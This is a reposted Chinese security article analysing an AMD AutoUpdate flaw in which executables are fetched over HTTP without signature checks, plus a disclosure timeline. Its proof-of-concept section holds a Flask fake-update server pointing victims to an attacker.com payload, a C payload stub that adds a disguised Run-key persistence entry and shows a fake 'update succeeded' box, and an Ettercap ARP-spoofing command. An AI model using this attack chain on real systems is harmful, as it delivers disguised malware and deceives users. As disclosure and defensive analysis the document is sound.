【林晓月的新漏洞科普】AMDAutoUpdate远程代码执行漏洞深度分析(官方无影响忽略)

admin 2026-02-09 01:06:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 安全研究人员发现AMDAutoUpdate组件存在严重设计缺陷:获取更新元数据时使用HTTPS,但下载可执行文件时降级至HTTP且缺乏签名验证,导致中间人攻击者可远程执行任意代码。AMD安全团队将该漏洞标记为超出范围拒绝修复。攻击者可通过ISP劫持、公共WiFi或DNS投毒拦截流量,注入恶意Payload实现权限维持。该漏洞影响所有启用AutoUpdate的Windows系统,CVSS预估8.1-9.8分,凸显了供应链安全中安全默认原则的重要性。 综合评分: 85 文章分类: 漏洞分析,供应链安全,二进制安全,安全建设,漏洞预警


cover_image

【林晓月的新漏洞科普】AMD AutoUpdate 远程代码执行漏洞深度分析(官方无影响忽略)

幻泉之洲

2026年2月8日 09:20 北京


技术文稿:

AMD AutoUpdate 远程代码执行漏洞深度分析

中间人攻击下的供应链劫持与权限维持

发布时间: 2026年2月6日 危害等级: 高危(CVSS 预估 8.1 – 9.8) 影响范围: 所有启用 AMD AutoUpdate 的 Windows 系统


一、漏洞概述

2026年1月,安全研究人员 MrBruh 在对 AMD AutoUpdate 组件进行逆向分析时,发现了一个架构级安全缺陷:该组件在获取更新元数据时使用 HTTPS,但在下载实际可执行文件时降级至 HTTP,且完全缺乏签名验证机制。这一设计缺陷使得攻击者可通过中间人攻击(MITM)在目标系统上执行任意代码。

值得注意的是,AMD 安全团队将该漏洞归类为 “超出范围(Out of Scope)”,理由是其需要中间人攻击前提条件。然而,在 ISP 级攻击、公共 Wi-Fi 劫持、DNS 投毒等场景下,此类攻击门槛已显著降低。


二、技术原理深度剖析

2.1 配置层:硬编码的更新源

从反编译的 app.config 文件可见,AutoUpdate 组件将版本信息 URL 硬编码在配置中:

<appSettings>&nbsp; &nbsp;&nbsp;<!--Development-->&nbsp; &nbsp;&nbsp;<add&nbsp;key="VersionInfo"&nbsp;value="https://www2.ati.com/drivers/patch/.../versioninfo.xml"&nbsp;/>&nbsp; &nbsp;&nbsp;<!--Production&nbsp; &nbsp; <add key="VersionInfo" value="https://www2.ati.com/drivers/patch/.../versioninfo.xml" /> --></appSettings>

关键发现:

  • 生产环境(Production)配置被注释,实际使用的是开发环境(Development)URL
  • 虽然使用 HTTPS,但这只是虚假的安全感——真正的危险在下一阶段

2.2 协议降级:从 HTTPS 到 HTTP 的致命跳转

当 AutoUpdate 请求 versioninfo.xml 后,返回的 XML 结构中包含实际的文件下载地址:

<platform&nbsp;name="Windows"&nbsp;value="">&nbsp;&nbsp;<productfamily&nbsp;name="Applications"&nbsp;value="">&nbsp; &nbsp;&nbsp;<product&nbsp;label="AMD Ryzen Master">&nbsp; &nbsp; &nbsp;&nbsp;<name>RyzenMaster</name>&nbsp; &nbsp; &nbsp;&nbsp;<version>2.14.2.3341</version>&nbsp; &nbsp; &nbsp;&nbsp;<filePath>&nbsp; &nbsp; &nbsp; &nbsp; http://www2.ati.com/drivers/patch/ec1b73b4-bc2a...&nbsp; &nbsp; &nbsp;&nbsp;</filePath>&nbsp; &nbsp; &nbsp;&nbsp;<BitSystem>64</BitSystem>&nbsp; &nbsp; &nbsp;&nbsp;<installCommand/>&nbsp; &nbsp; &nbsp;&nbsp;<!-- ... -->&nbsp; &nbsp;&nbsp;</product>&nbsp;&nbsp;</productfamily></platform>

核心漏洞点:<filePath> 标签明确使用 http:// 协议,形成“安全元数据 + 危险下载”的混合模式。

2.3 执行层:零验证的代码执行

反编译的 InstallUpdates 方法揭示了最危险的环节:

private&nbsp;void&nbsp;InstallUpdates(object&nbsp;f_downloadedFileSaveLocation){&nbsp; &nbsp;&nbsp;try&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; CLog.Trace("Start InstallUpdates()");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string&nbsp;fileName = f_downloadedFileSaveLocation.ToString();&nbsp; &nbsp; &nbsp; &nbsp; Process process =&nbsp;new&nbsp;Process();&nbsp; &nbsp; &nbsp; &nbsp; process.Exited += Process_Exited;&nbsp; &nbsp; &nbsp; &nbsp; process.ErrorDataReceived += Process_DataReceivedEventHandler;&nbsp; &nbsp; &nbsp; &nbsp; process.EnableRaisingEvents =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 直接执行下载的文件,无任何验证!&nbsp; &nbsp; &nbsp; &nbsp; process.StartInfo.FileName = fileName;&nbsp; &nbsp; &nbsp; &nbsp; process.StartInfo.Arguments = appInstallCommand;&nbsp; &nbsp; &nbsp; &nbsp; process.Start();&nbsp; &nbsp; &nbsp; &nbsp; process.WaitForExit();&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// ...}

三、实际劫持流程(PoC)

3.1 攻击场景假设

场景 A:ISP/国家级攻击者

  • 控制骨干网路由设备,针对 www2.ati.com 进行流量劫持
  • 影响范围:特定区域所有 AMD 用户

场景 B:本地网络攻击

  • 公共 Wi-Fi、企业内网、 compromised 路由器
  • ARP 欺骗或 DNS 劫持指向恶意服务器

场景 C:DNS 投毒

  • 污染 DNS 记录,使 www2.ati.com 解析至攻击者服务器

3.2 攻击链详细步骤

阶段 1:侦察与准备

攻击者首先获取合法的 versioninfo.xml 结构:

# 获取合法 XML 作为模板curl -o versioninfo.xml https://www2.ati.com/drivers/patch/.../versioninfo.xml

分析 XML 结构,确定可注入点:

  • 修改 <filePath> 指向攻击者控制的 HTTP 服务器
  • 保持 <version> 号高于当前版本,触发更新机制

阶段 2:构建恶意更新服务器

攻击者部署包含以下组件的服务器:

# malicious_server.py - 概念验证from&nbsp;flask&nbsp;import&nbsp;Flask, send_file, requestimport&nbsp;xml.etree.ElementTree&nbsp;as&nbsp;ET
app = Flask(__name__)
@app.route('/drivers/patch/<path:filename>')def&nbsp;serve_file(filename):&nbsp; &nbsp;&nbsp;if&nbsp;filename.endswith('versioninfo.xml'):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 返回篡改的 XML,指向恶意 payload&nbsp; &nbsp; &nbsp; &nbsp; xml = generate_malicious_xml()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;xml,&nbsp;200, {'Content-Type':&nbsp;'application/xml'}
&nbsp; &nbsp;&nbsp;# 提供伪装成 AMD 驱动的恶意可执行文件&nbsp; &nbsp;&nbsp;if&nbsp;'ryzenmaster'&nbsp;in&nbsp;filename.lower():&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;send_file('payload.exe',&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mimetype='application/octet-stream',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; as_attachment=True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; download_name='RyzenMasterSetup.exe')
&nbsp; &nbsp;&nbsp;return&nbsp;"Not Found",&nbsp;404
def&nbsp;generate_malicious_xml():&nbsp; &nbsp;&nbsp;# 构造包含恶意下载链接的 XML&nbsp; &nbsp;&nbsp;# 版本号必须高于当前安装版本才能触发更新&nbsp; &nbsp; xml_content =&nbsp;'''<?xml version="1.0"?>&nbsp; &nbsp; <platform name="Windows" value="">&nbsp; &nbsp; &nbsp; <productfamily name="Applications" value="">&nbsp; &nbsp; &nbsp; &nbsp; <product label="AMD Ryzen Master">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <name>RyzenMaster</name>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <version>99.99.99.9999</version>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <filePath>http://attacker.com/drivers/patch/malicious_ryzenmaster.exe</filePath>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BitSystem>64</BitSystem>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <MajorInstallCommand>/V" RUNAUTOUPDATEUI=1 /qr"</MajorInstallCommand>&nbsp; &nbsp; &nbsp; &nbsp; </product>&nbsp; &nbsp; &nbsp; </productfamily>&nbsp; &nbsp; </platform>'''&nbsp; &nbsp;&nbsp;return&nbsp;xml_content
if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; app.run(host='0.0.0.0', port=80)

阶段 3:Payload 构建

攻击者准备与合法 AMD 安装包行为一致的恶意程序:

// payload.c - 概念验证级 Payload// 实际攻击中可能使用更隐蔽的 DLL 侧载或合法程序劫持#include&nbsp;<windows.h>#include&nbsp;<stdio.h>
int&nbsp;WINAPI&nbsp;WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LPSTR lpCmdLine,&nbsp;int&nbsp;nCmdShow) {
&nbsp; &nbsp;&nbsp;// 第一阶段:执行正常的 AMD 驱动安装(迷惑用户)&nbsp; &nbsp;&nbsp;// ... 解压并运行真实的 AMD 驱动程序 ...
&nbsp; &nbsp;&nbsp;// 第二阶段:植入后门/持久化机制&nbsp; &nbsp;&nbsp;// 1. 写入启动项&nbsp; &nbsp; HKEY hKey;&nbsp; &nbsp;&nbsp;RegOpenKeyEx(HKEY_CURRENT_USER,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0, KEY_WRITE, &hKey);&nbsp; &nbsp;&nbsp;RegSetValueEx(hKey,&nbsp;"AMDUpdateHelper",&nbsp;0, REG_SZ,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (BYTE*)"C:\\Windows\\Temp\\amd_helper.exe",&nbsp;30);&nbsp; &nbsp;&nbsp;RegCloseKey(hKey);
&nbsp; &nbsp;&nbsp;// 2. 建立反向 Shell(示例)&nbsp; &nbsp;&nbsp;// 实际攻击可能使用更隐蔽的 C2 通信
&nbsp; &nbsp;&nbsp;// 3. 清理痕迹,显示正常的安装完成界面&nbsp; &nbsp;&nbsp;MessageBox(NULL,&nbsp;"AMD Ryzen Master 已成功更新",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"AMD AutoUpdate", MB_OK | MB_ICONINFORMATION);
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

阶段 4:中间人劫持实施

ARP 欺骗场景(本地网络):

# 使用 Ettercap 进行 ARP 欺骗 + 内容替换ettercap&nbsp;-T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.100//
# 配合 Ettercap 的 filter 脚本替换 HTTP 响应# 将合法的 versioninfo.xml 替换为恶意版本

执行流程:

四、时间线与披露过程

| 日期 | 事件 | | — | — | | 2026-01-27 | 研究人员发现漏洞 | | 2026-02-05 | 向 AMD 安全团队提交漏洞报告 | | 2026-02-05 | AMD 关闭报告,标记为 “Out of Scope” | | 2026-02-06 | 研究人员发布技术博客公开披露 |

AMD 的回应理由:

“Attacks requiring physical access to a victim’s computer/device, man in the middle or compromised user accounts”

研究人员的反驳:

  • 中间人攻击在当代网络环境中并非边缘场景
  • ISP 级攻击、公共 Wi-Fi 劫持、DNS 投毒等攻击手段已高度成熟
  • 修复成本极低(仅需强制 HTTPS + 添加签名验证),与潜在风险严重不成比例

五、结论

AMD AutoUpdate 漏洞是一个典型的”低垂果实”式安全缺陷:协议降级、零验证执行、权限提升三要素叠加,构成了完整的 RCE 攻击链。更令人担忧的是 AMD 对此的消极响应态度——在供应链安全日益重要的今天,将 MITM 攻击视为”超出范围”显示出对现代网络威胁模型的认知滞后。

对于安全从业者,此案例强调了纵深防御的必要性:即使厂商拒绝修复,企业仍可通过网络层管控、端点防护、用户教育等手段降低风险。对于软件开发者,这是安全默认(Secure by Default)原则的反面教材——安全不应是可选配置,而应是架构基石。


参考资源:

  • 原始博客:MrBruh’s Epic Blog – “The RCE that AMD won’t fix”

(虽然有原始博客,但是原始博客内容被删了,看来AMD公关了)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《【林晓月的新漏洞科普】AMD AutoUpdate 远程代码执行漏洞深度分析(官方无影响忽略)》

评论:0   参与:  0